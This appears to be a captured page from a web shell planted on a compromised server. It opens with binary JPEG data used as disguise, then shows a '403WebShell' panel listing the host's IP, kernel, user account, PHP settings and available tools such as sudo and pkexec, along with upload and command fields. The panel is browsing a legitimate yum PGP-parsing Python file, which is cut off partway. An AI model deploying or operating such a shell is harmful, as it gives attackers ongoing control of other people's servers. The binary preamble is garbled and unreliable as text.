JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 173.199.190.172  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/lib/python2.7/site-packages/yum/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python2.7/site-packages/yum/pgpmsg.py
#! /usr/bin/python -tt
##Copyright (C) 2003,2005,2009  Jens B. Jorgensen <jbj1@ultraemail.net>
##
##This program is free software; you can redistribute it and/or
##modify it under the terms of the GNU General Public License
##as published by the Free Software Foundation; either version 2
##of the License, or (at your option) any later version.
##
##This program is distributed in the hope that it will be useful,
##but WITHOUT ANY WARRANTY; without even the implied warranty of
##MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
##GNU General Public License for more details.
##
##You should have received a copy of the GNU General Public License
##along with this program; if not, write to the Free Software
##Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
import struct, time, cStringIO, base64, types

#  We use this so that we can work on python-2.4 and python-2.6, and thus.
# use import md5/import sha on the older one and import hashlib on the newer.
#  Stupid deprecation warnings.

# pylint: disable-msg=W0108 
# Ignore :W0108: *Lambda may not be necessary*


try:
    import hashlib
except ImportError:
    # Python-2.4.z ... gah!
    import sha
    import md5
    class hashlib:

        @staticmethod
        def new(algo):
            if algo == 'md5':
                return md5.new()
            if algo == 'sha1':
                return sha.new()
            raise ValueError, "Bad checksum type"

debug = None

# Cypher Type Byte
# bits 7,6 of the CTB say what kind it is
# we only have reserved defined
CTB_76_NORMAL = 0x80
CTB_76_NEW = 0xc0
CTB_76_MASK = 0xc0

# CTB packet type, bits 5,4,3,2
CTB_PKTV2_MASK = 0x3c    # 1111 - mask for this field
CTB_PKT_MASK = 0x3f      # 111111 - all the lower bits

CTB_PKT_PK_ENC = 1       # 0001 - public-key encrypted session packet
CTB_PKT_SIG = 2          # 0010 - signature packet
CTB_PKT_SK_ENC = 3       # 0011 - symmetric-key encrypted session packet
CTB_PKT_OP_SIG = 4       # 0100 - one-pass signature packet
CTB_PKT_SK_CERT = 5      # 0101 - secret-key certificate packet
CTB_PKT_PK_CERT = 6      # 0110 - public-key certificate packet
CTB_PKT_SK_SUB = 7       # 0111 - secret-key subkey packet
CTB_PKT_COMPRESSED = 8   # 1000 - compressed data packet
CTB_PKT_ENC = 9          # 1001 - symmetric-key encrypted data packet
CTB_PKT_MARKER = 10      # 1010 - marker packet
CTB_PKT_LIT = 11         # 1011 - literal data packet
CTB_PKT_TRUST = 12       # 1100 - trust packet
CTB_PKT_USER_ID = 13     # 1101 - user id packet
CTB_PKT_PK_SUB = 14      # 1110 - public subkey packet
CTB_PKT_USER_ATTR = 17   # 10001 - user attribute packet
CTB_PKT_SYM_ENC_INT = 18 # 10010 - symmetric encrypted integrity packet
CTB_PKT_MOD_DETECT = 19  # 10011 - modification detection code packet

ctb_pkt_to_str = {
    CTB_PKT_PK_ENC : 'public-key encrypted session packet',
    CTB_PKT_SIG : 'signature packet',
    CTB_PKT_SK_ENC : 'symmetric-key encrypted session packet',
    CTB_PKT_OP_SIG : 'one-pass signature packet',
    CTB_PKT_SK_CERT : 'secret-key certificate packet',
    CTB_PKT_PK_CERT : 'public-key certificate packet',
    CTB_PKT_SK_SUB : 'secret-key subkey packet',
    CTB_PKT_COMPRESSED : 'compressed data packet',
    CTB_PKT_ENC : 'symmetric-key encrypted data packet',
    CTB_PKT_MARKER : 'marker packet',
    CTB_PKT_LIT : 'literal data packet',
    CTB_PKT_TRUST : 'trust packet',
    CTB_PKT_USER_ID : 'user id packet',
    CTB_PKT_PK_SUB : 'public subkey packet',
    CTB_PKT_USER_ATTR : 'user attribute packet',
    CTB_PKT_SYM_ENC_INT : 'symmetric encrypted integrity packet',
    CTB_PKT_MOD_DETECT : 'modification detection code packet'
}


# CTB packet-length
CTB_PKT_LEN_MASK = 0x3   # 11 - mask

CTB_PKT_LEN_1 = 0        # 00 - 1 byte
CTB_PKT_LEN_2 = 1        # 01 - 2 bytes
CTB_PKT_LEN_4 = 2        # 10 - 4 bytes
CTB_PKT_LEN_UNDEF = 3    # 11 - no packet length supplied

# Algorithms

# Public Key Algorithms
ALGO_PK_RSA_ENC_OR_SIGN = 1        # RSA (Encrypt or Sign)
ALGO_PK_RSA_ENC_ONLY = 2           # RSA Encrypt-Only
ALGO_PK_RSA_SIGN_ONLY = 3          # RSA Sign-Only
ALGO_PK_ELGAMAL_ENC_ONLY = 16      # Elgamal (Encrypt-Only)
ALGO_PK_DSA = 17                   # DSA (Digital Signature Standard)
ALGO_PK_ELLIPTIC_CURVE = 18        # Elliptic Curve
ALGO_PK_ECDSA = 19                 # ECDSA
ALGO_PK_ELGAMAL_ENC_OR_SIGN = 20   # Elgamal (Encrypt or Sign)
ALGO_PK_DH = 21                    # Diffie-Hellman

algo_pk_to_str = {
    ALGO_PK_RSA_ENC_OR_SIGN : 'RSA (Encrypt or Sign)',
    ALGO_PK_RSA_ENC_ONLY : 'RSA Encrypt-Only',
    ALGO_PK_RSA_SIGN_ONLY : 'RSA Sign-Only',
    ALGO_PK_ELGAMAL_ENC_ONLY : 'Elgamal Encrypt-Only',
    ALGO_PK_DSA : 'DSA (Digital Signature Standard)',
    ALGO_PK_ELLIPTIC_CURVE : 'Elliptic Curve',
    ALGO_PK_ECDSA : 'ECDSA',
    ALGO_PK_ELGAMAL_ENC_OR_SIGN : 'Elgamal (Encrypt or Sign)',
    ALGO_PK_DH : 'Diffie-Hellman'
}    

# Symmetric Key Algorithms
ALGO_SK_PLAIN = 0 # Plaintext or unencrypted data
ALGO_SK_IDEA = 1 # IDEA
ALGO_SK_3DES = 2 # Triple-DES
ALGO_SK_CAST5 = 3 # CAST5
ALGO_SK_BLOWFISH = 4 # Blowfish
ALGO_SK_SAFER_SK128 = 5 # SAFER-SK128
ALGO_SK_DES_SK = 6 # DES/SK
ALGO_SK_AES_128 = 7 # AES 128-bit
ALGO_SK_AES_192 = 8 # AES 192-bit
ALGO_SK_AES_256 = 9 # AES 256-bit
ALGO_SK_TWOFISH_256 = 10 # Twofish 256

algo_sk_to_str = {
    ALGO_SK_PLAIN : 'Plaintext or unencrypted data',
    ALGO_SK_IDEA : 'IDEA',
    ALGO_SK_3DES : 'Triple-DES',
    ALGO_SK_CAST5 : 'CAST5',
    ALGO_SK_BLOWFISH : 'Blowfish',
    ALGO_SK_SAFER_SK128 : 'SAFER-SK128',
    ALGO_SK_DES_SK : 'DES/SK',
    ALGO_SK_AES_128 : 'AES 128-bit',
    ALGO_SK_AES_192 : 'AES 192-bit',
    ALGO_SK_AES_256 : 'AES 256-bit',
    ALGO_SK_TWOFISH_256 : 'Twofish 256-bit'
}

# Compression Algorithms
ALGO_COMP_UNCOMP = 0 # Uncompressed
ALGO_COMP_ZIP = 1    # ZIP
ALGO_COMP_ZLIB = 2   # ZLIB
ALGO_COMP_BZIP2 = 3  # BZip2

algo_comp_to_str = {
    ALGO_COMP_UNCOMP : 'Uncompressed',
    ALGO_COMP_ZIP : 'ZIP',
    ALGO_COMP_ZLIB : 'ZLIB',
    ALGO_COMP_BZIP2 : 'BZip2'
}

# Hash Algorithms
ALGO_HASH_MD5 = 1                  # MD5
ALGO_HASH_SHA1 = 2                 # SHA1
ALGO_HASH_RIPEMD160 = 3            # RIPEMD160
ALGO_HASH_SHA_DBL = 4              # double-width SHA
ALGO_HASH_MD2 = 5                  # MD2
ALGO_HASH_TIGER192 = 6             # TIGER192
ALGO_HASH_HAVAL_5_160 = 7          # HAVAL-5-160
ALGO_HASH_SHA256 = 8               # SHA256
ALGO_HASH_SHA384 = 9               # SHA384
ALGO_HASH_SHA512 = 10              # SHA512
ALGO_HASH_SHA224 = 11              # SHA224

algo_hash_to_str = {
    ALGO_HASH_MD5 : 'MD5',
    ALGO_HASH_SHA1 : 'SHA1',
    ALGO_HASH_RIPEMD160 : 'RIPEMD160',
    ALGO_HASH_SHA_DBL : 'double-width SHA',
    ALGO_HASH_MD2 : 'MD2',
    ALGO_HASH_TIGER192 : 'TIGER192',
    ALGO_HASH_HAVAL_5_160 : 'HAVAL-5-160',
    ALGO_HASH_SHA256 : 'SHA256',
    ALGO_HASH_SHA384 : 'SHA384',
    ALGO_HASH_SHA512 : 'SHA512',
    ALGO_HASH_SHA224 : 'SHA224'
}

# Signature types
SIG_TYPE_DOCUMENT = 0x00           # document signature, binary image
SIG_TYPE_DOCUMENT_CANON = 0x01     # document signature, canonical text
SIG_TYPE_STANDALONE = 0x02         # signature over just subpackets
SIG_TYPE_PK_USER_GEN = 0x10        # public key packet and user ID packet, generic certification
SIG_TYPE_PK_USER_PER = 0x11        # public key packet and user ID packet, persona
SIG_TYPE_PK_USER_CAS = 0x12        # public key packet and user ID packet, casual certification
SIG_TYPE_PK_USER_POS = 0x13        # public key packet and user ID packet, positive certification
SIG_TYPE_SUBKEY_BIND = 0x18        # subkey binding
SIG_TYPE_KEY = 0x1F                # key signature
SIG_TYPE_KEY_REVOKE = 0x20      # key revocation
SIG_TYPE_SUBKEY_REVOKE = 0x28   # subkey revocation
SIG_TYPE_CERT_REVOKE = 0x30     # certificate revocation
SIG_TYPE_TIMESTAMP = 0x40       # timestamp

sig_type_to_str = {
    SIG_TYPE_DOCUMENT : 'document signature, binary image',
    SIG_TYPE_DOCUMENT_CANON : 'document signature, canonical text',
    SIG_TYPE_STANDALONE : 'signature over just subpackets',
    SIG_TYPE_PK_USER_GEN : 'public key packet and user ID packet, generic certification',
    SIG_TYPE_PK_USER_PER : 'public key packet and user ID packet, persona',
    SIG_TYPE_PK_USER_CAS : 'public key packet and user ID packet, casual certification',
    SIG_TYPE_PK_USER_POS : 'public key packet and user ID packet, positive certification',
    SIG_TYPE_SUBKEY_BIND : 'subkey binding',
    SIG_TYPE_KEY : 'key signature',
    SIG_TYPE_KEY_REVOKE : 'key revocation',
    SIG_TYPE_SUBKEY_REVOKE : 'subkey revocation',
    SIG_TYPE_CERT_REVOKE : 'certificate revocation',
    SIG_TYPE_TIMESTAMP : 'timestamp'
}

# Signature sub-packet types
SIG_SUB_TYPE_CREATE_TIME = 2        # signature creation time
SIG_SUB_TYPE_EXPIRE_TIME = 3        # signature expiration time
SIG_SUB_TYPE_EXPORT_CERT = 4        # exportable certification
SIG_SUB_TYPE_TRUST_SIG = 5          # trust signature
SIG_SUB_TYPE_REGEXP = 6             # regular expression
SIG_SUB_TYPE_REVOCABLE = 7          # revocable
SIG_SUB_TYPE_KEY_EXPIRE = 9         # key expiration time
SIG_SUB_TYPE_PLACEHOLDER = 10       # placeholder for backward compatibility
SIG_SUB_TYPE_PREF_SYMM_ALGO = 11    # preferred symmetric algorithms
SIG_SUB_TYPE_REVOKE_KEY = 12        # revocation key
SIG_SUB_TYPE_ISSUER_KEY_ID = 16     # issuer key ID
SIG_SUB_TYPE_NOTATION = 20          # notation data
SIG_SUB_TYPE_PREF_HASH_ALGO = 21    # preferred hash algorithms
SIG_SUB_TYPE_PREF_COMP_ALGO = 22    # preferred compression algorithms
SIG_SUB_TYPE_KEY_SRV_PREF = 23      # key server preferences
SIG_SUB_TYPE_PREF_KEY_SRVR = 24     # preferred key server
SIG_SUB_TYPE_PRIM_USER_ID = 25      # primary user id
SIG_SUB_TYPE_POLICY_URI = 26        # policy URI
SIG_SUB_TYPE_KEY_FLAGS = 27         # key flags
SIG_SUB_TYPE_SGNR_USER_ID = 28      # signer's user id
SIG_SUB_TYPE_REVOKE_REASON = 29     # reason for revocation
SIG_SUB_TYPE_FEATURES = 30          # features
SIG_SUB_TYPE_SIG_TARGET = 31        # signature target
SIG_SUB_TYPE_EMBEDDED_SIG = 32      # embedded signature

sig_sub_type_to_str = {
    SIG_SUB_TYPE_CREATE_TIME : 'signature creation time',
    SIG_SUB_TYPE_EXPIRE_TIME : 'signature expiration time',
    SIG_SUB_TYPE_EXPORT_CERT : 'exportable certification',
    SIG_SUB_TYPE_TRUST_SIG : 'trust signature',
    SIG_SUB_TYPE_REGEXP : 'regular expression',
    SIG_SUB_TYPE_REVOCABLE : 'revocable',
    SIG_SUB_TYPE_KEY_EXPIRE : 'key expiration time',
    SIG_SUB_TYPE_PLACEHOLDER : 'placeholder for backward compatibility',
    SIG_SUB_TYPE_PREF_SYMM_ALGO : 'preferred symmetric algorithms',
    SIG_SUB_TYPE_REVOKE_KEY : 'revocation key',
    SIG_SUB_TYPE_ISSUER_KEY_ID : 'issuer key ID',
